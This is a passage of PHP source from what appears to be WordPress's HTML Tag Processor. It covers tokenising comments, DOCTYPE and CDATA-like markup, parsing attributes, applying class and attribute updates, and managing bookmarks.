			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
